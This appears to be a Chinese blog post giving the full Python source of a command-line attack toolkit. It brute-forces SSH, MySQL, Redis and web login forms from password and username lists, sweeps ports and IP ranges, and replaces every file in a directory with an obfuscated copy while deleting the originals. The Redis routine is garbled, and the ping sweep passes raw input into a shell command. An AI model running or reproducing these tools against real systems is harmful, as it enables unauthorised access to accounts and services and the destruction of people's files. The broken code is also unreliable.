python制作命令行工具集

最新推荐文章于 2025-05-05 14:26:08 发布

原创最新推荐文章于 2025-05-05 14:26:08 发布 · 424 阅读

2 ·

CC 4.0 BY-SA版权

文章标签：

#python #网络安全

该Python脚本创建了一个命令行工具，包含SSH、MySQL、Redis服务的已知和未知用户爆破功能，支持多线程。同时，它还实现了HTML表单的用户名和密码爆破、文件的加密解密以及端口和IP的嗅探功能。

借助pythpn完成一个命令行工具集

基础

import base64
import os
import threading
import time
import click
import paramiko
import pymysql
import redis
import requests
import socket
@click.group()  #子选项制作
def cli():
    pass

已知用户爆破ssh

@click.command()
@click.option('-u', default='root', help='输入你想尝试的用户名')
@click.option('-p', default=22, help='输入你想尝试的端口')
@click.option('-i', prompt='请输入IP', help='输入你想尝试的IP')
@click.option('-t', prompt='请输入路径', help='输入字典路径', type=str)
def ssh_ran_user(u, p, i, t):   #已知用户进行爆破ssh
    print('正在运行')
    with open(t, 'r') as fp:
        password = fp.readlines()
    for passw in password:
        passw = passw.strip()
        try:
            transport = paramiko.Transport((i, p))
            transport.connect(username=u, password=passw)  # 进行遍历尝试连接
        except:
            pass
        else:
            print(f'登录成功', '登录密码是', passw)
            break

未知用户爆破ssh

@click.command()
@click.option('-u', prompt='请输入路径', help='输入你想尝试的用户名字典路径', type=str)
@click.option('-p', default=22, help='输入你想尝试的端口')
@click.option('-i', prompt='请输入IP', help='输入你想尝试的IP')
@click.option('-t', prompt='请输入路径', help='输入字典路径', type=str)
@click.option('--thread', default='0', help='是否开启多线程,0不启动，1开启', type=click.Choice(['0', '1']))
def ssh_ran(u, p, i, t, thread):  #未知用户进行爆破ssh
    if thread == '0':
        print('正在运行')
        with open(t, 'r') as fp:
            password = fp.readlines()
        with open(u, 'r') as fp:
            username = fp.readlines()
        for user in username:
            user = user.strip()
            for passw in password:
                passw = passw.strip()
                time.sleep(0.2)
                try:
                    transport = paramiko.Transport((i, p))
                    transport.connect(username=user, password=passw)  # 进行遍历尝试连接
                except:
                    print(user, '和', passw)
                else:
                    print('登录成功', '用户名是', user, '登录密码是', passw)
                    return
    else:
        print('多线程运行')
        the = []
        with open(t, 'r') as fp:
            password = fp.readlines()
        with open(u, 'r') as fp:
            username = fp.readlines()
        for user in range(0, len(username), 10):
            use = username[user:user + 10]
            th = threading.Thread(target=ssh_ran_thr, args=(p, i, password, use,))
            the.append(th)
            for t in the:
                t.start()
                t.join()
def ssh_ran_thr(p, i, t, use):  #多线程调用
    for us in use:
        us = us.strip()
        for passw in t:
            try:
                transport = paramiko.Transport((i, p))
                te = transport.connect(username=us, password=passw)  # 进行遍历尝试连接
                print(te)
            except:
                print(us, '和', passw)
            else:
                print(f'登录成功:用户名{us},密码{passw}')
                exit()

已知爆破mysql

@click.command()
@click.option('-u', default='root', help='输入你想尝试的用户名')
@click.option('-p', default=3306, help='输入你想尝试的端口')
@click.option('-i', prompt='请输入IP', help='输入你想尝试的IP')
@click.option('-d', prompt='请输入库名', help='输入库', type=str)
@click.option('-t', prompt='请输入路径', help='输入字典路径', type=str)
@click.option('-c', default='utf8mb4', help='编码方式')
def mysql_ran_user(u, p, i, d, t, c):   #已知用户进行爆破mysql
    with open(t, 'r') as fp:
        password = fp.readlines()
    for passw in password:
        passw = passw.strip()
        try:
            pymysql.connect(host=i, user=u, password=passw, port=p, database=d,
charset=c)
        except:
            print(u, passw)
        else:
            print('登录成功', '用户名', u, '登录密码', passw)
            break

未知用户爆破mysql

@click.command()
@click.option('-u', prompt='请输入路径', help='输入你想尝试的用户名字典路径', type=str)
@click.option('-p', default=3306, help='输入你想尝试的端口')
@click.option('-i', prompt='请输入IP', help='输入你想尝试的IP')
@click.option('-d', prompt='请输入库名', help='输入库', type=str)
@click.option('-t', prompt='请输入路径', help='输入字典路径', type=str)
@click.option('-c', default='utf8mb4', help='编码方式')
@click.option('--thread', default='0', help='是否开启多线程,0不启动，1开启', type=click.Choice(['0', '1']))
def mysql_ran(u, p, i, d, t, c, thread):  #未知用户进行爆破mysql
    if thread == '0':
        with open(u, 'r') as fp:
            username = fp.readlines()
        with open(t, 'r') as fp:
            password = fp.readlines()
        for user in username:
            user = user.strip()
            for passw in password:
                passw = passw.strip()
                try:
                    pymysql.connect(host=i, user=user, password=passw, port=p, database=d,
                                    charset=c)
                except:
                    print(user, passw)
                else:
                    print('登录成功', '用户名', user, '登录密码', passw)
                    exit()
    else:
        print('多线程运行')
        the = []
        with open(t, 'r') as fp:
            password = fp.readlines()
        with open(u, 'r') as fp:
            username = fp.readlines()
        for user in range(0, len(username), 10):
            use = username[user:user + 10]
            th = threading.Thread(target=mysql_ran_thr, args=(p, i, d, c, password, use,))
            the.append(th)
            for t in the:
                t.start()
                t.join()
                time.sleep(5)
def mysql_ran_thr(p, i, d, c, password, use):  #多线程调用
    for user in use:
        user = user.strip()
        for passw in password:
            passw = passw.strip()
            try:
                pymysql.connect(host=i, user=user, password=passw, port=p, database=d,
                                charset=c)
            except:
                print(user, passw)
            else:
                print('登录成功', '用户名', user, '登录密码', passw)
                exit()

redis爆破

@click.command()
@click.option('-p', default=6379, help='输入你想尝试的端口')
@click.option('-i', prompt='请输入IP', help='输入你想尝试的IP')
@click.option('-d', default=0, help='输入库')
@click.option('-t', prompt='请输入路径', help='输入字典路径', type=str)
def redis_ran_user(p, i, d, t):    #redis爆破    with open(t, 'r') as fp:
        password = fp.readlines()
for passw in password:
    try:
            passw = passw.strip()
            redis.Redis(host=i, port=p, db=d, password=passw)
except:
    pass        
else:
    print('登录成功', '登录密码', passw)
break

html用户名密码爆破

@click.command()
@click.option('-u', prompt='请输入路径', help='输入你想尝试的用户名字典路径', type=str)
@click.option('-l', prompt='请输入路径', help='输入url路径', type=str)
@click.option('-t', prompt='请输入路径', help='输入字典路径', type=str)
@click.option('-v', default='0000', help='验证码')
@click.option('--thread', default='0', help='是否开启多线程,0不启动，1开启', type=click.Choice(['0', '1']))
def html_ran(u, l, t, v, thread):   #网页爆破，用户名和密码未知
    if thread == '0':
        print('正在启动')
        with open(u, 'r') as fp:
            username = fp.readlines()
        with open(t, 'r') as fp:
            password = fp.readlines()
        for user in username:
            use = user.strip()
            for passwor in password:
                pa = passwor.strip()
                data = {"user": use, "pass": pa, "vcode": v}  # 通过用户名和密码尝试登录
                res = requests.post(url=l, data=data)
                if res.text == "location.href='../book/cheng.php'":
                    print('登录成功', '用户名是', use, '密码是', pa)
                    exit()
    else:
        print('多线程运行')
        the = []
        with open(t, 'r') as fp:
            password = fp.readlines()
        with open(u, 'r') as fp:
            username = fp.readlines()
        for user in range(0, len(username), 10):
            use = username[user:user + 10]
            th = threading.Thread(target=html_ran_thr, args=(l, v, password, use,))
            the.append(th)
            for t in the:
                t.start()
                t.join()
                time.sleep(5)
def html_ran_thr(l, v, password, use):  #调用多线程
    for user in use:
        us = user.strip()
        for passwor in password:
            pa = passwor.strip()
            data = {"user": us, "pass": pa, "vcode": v}  # 通过用户名和密码尝试登录
            res = requests.post(url=l, data=data)
            if res.text == "location.href='../book/cheng.php'":
                print('登录成功', '用户名是', us, '密码是', pa)
                exit()

加密解密

@click.command()
@click.option('-p', prompt='d或者e', help='进行加密或者解密', type=click.Choice(['d', 'e']))
@click.option('--path', help='输入文件路径', type=str)
@click.option('--src', help='输入目录路径', type=str)
def de_en(p, path, src):   #根据情况进行划分
    res = []
    if src is not None:
        for root, dirs, files in os.walk(src):  # 获取父目录，子目录，文件
            for file in files:
                res.append(os.path.join(root, file))  # 把父目录和文件合成一个路径
        # print(res)
    else:
        res.append(path)
    if p == 'e':   #加密解密划分
        for r in res:
            with open(r, 'rb') as fp:
                src = fp.read()
            bs = base64.b64encode(src).decode()
            se = ''
            for b in bs:
                new = chr(ord(b) + 5)
                se += new
            os.remove(r)
            name = '123'
            with open(r + name, 'wb') as fp:
                fp.write(se.encode())
        print('加密完成')
    else:
        for r in res:
            with open(r, 'r') as fp:
                src = fp.read()
            se = ''
            for b in src:
                new = chr(ord(b) - 5)
                se += new
            resp = base64.b64decode(se)
            s = r[0:-3]
            os.remove(r)
            with open(s, 'wb') as fp:
                fp.write(resp)
        print('解密完成')

端口嗅探

@click.command()
@click.option('-i', help='输入你想尝试的端口', type=int)
@click.option('-u', prompt='请输入IP', help='输入你想尝试的IP')
def scan_port(i, u):
    lis = []
    if i is None:
        lis = [7, 21, 22, 23, 25, 43, 53, 67, 68, 69, 79, 80, 81, 88, 109, 110, 113, 119, 123, 135, 137, 138, 139,
143, 161, 162, 179, 194, 220, 389, 443, 445, 465, 513, 520, 546, 547, 554, 563, 631, 636, 991, 993,
995, 1080, 1194, 1433, 1434, 1494, 1521, 1701, 1723, 1755, 1812, 1813, 1863, 3269, 3306, 3307, 3389,
3544,
4369, 5060, 5061, 5355, 5432, 5671, 5672, 6379, 7001, 8080, 8081, 8082, 8088, 8443, 8883, 8888, 9443,
9988, 15672, 27017, 50389, 50636, 61613, 61614]
    else:
        lis.append(i)
    for i in lis:
        threading.Thread(target=scan_p, args=(i, u,)).start()
    exit()
def scan_p(i, u):
    try:
        sock = socket.socket()
        sock.connect((u, i))
    except:
        pass
    else:
        print('可用端口:', i)

IP嗅探

@click.command()
@click.option('-s', default='w', help='输入使用系统', type=click.Choice(['w', 'l']))
@click.option('-u', prompt='请输入IP', help='输入你想尝试的IP', type=str)
def scan_ip(s, u):   #根据启动的系统不同自己选则
    print('启动')
    for i in range(1, 256):
        threading.Thread(target=scan_i, args=(i, s, u,)).start()
def scan_i(i, s, u):
    if s == 'w':
        i = str(i)
        v = u.split('.')
        v.pop()
        v.append(i)
        s = '.'.join(v)
        ip = s
        cmd = f"ping -w 1 -n 2 {ip}"
        res = os.popen(cmd).read()
        if '字节=32' in res:
            print('存在IP', ip)
    else:
        i = str(i)
        v = u.split('.')
        v.pop()
        v.append(i)
        u = '.'.join(v)
        ip = u
        cmd = f"ping -c 2 -W 1 {ip}"
        res = os.popen(cmd).read()
        if '64 bytes' in res:
            print('存在IP', ip)

收尾

cli.add_command(ssh_ran_user)
cli.add_command(ssh_ran)
cli.add_command(mysql_ran_user)
cli.add_command(mysql_ran)
cli.add_command(redis_ran_user)
cli.add_command(html_ran)
cli.add_command(de_en)
cli.add_command(scan_port)
cli.add_command(scan_ip)
if __name__ == '__main__':
    cli()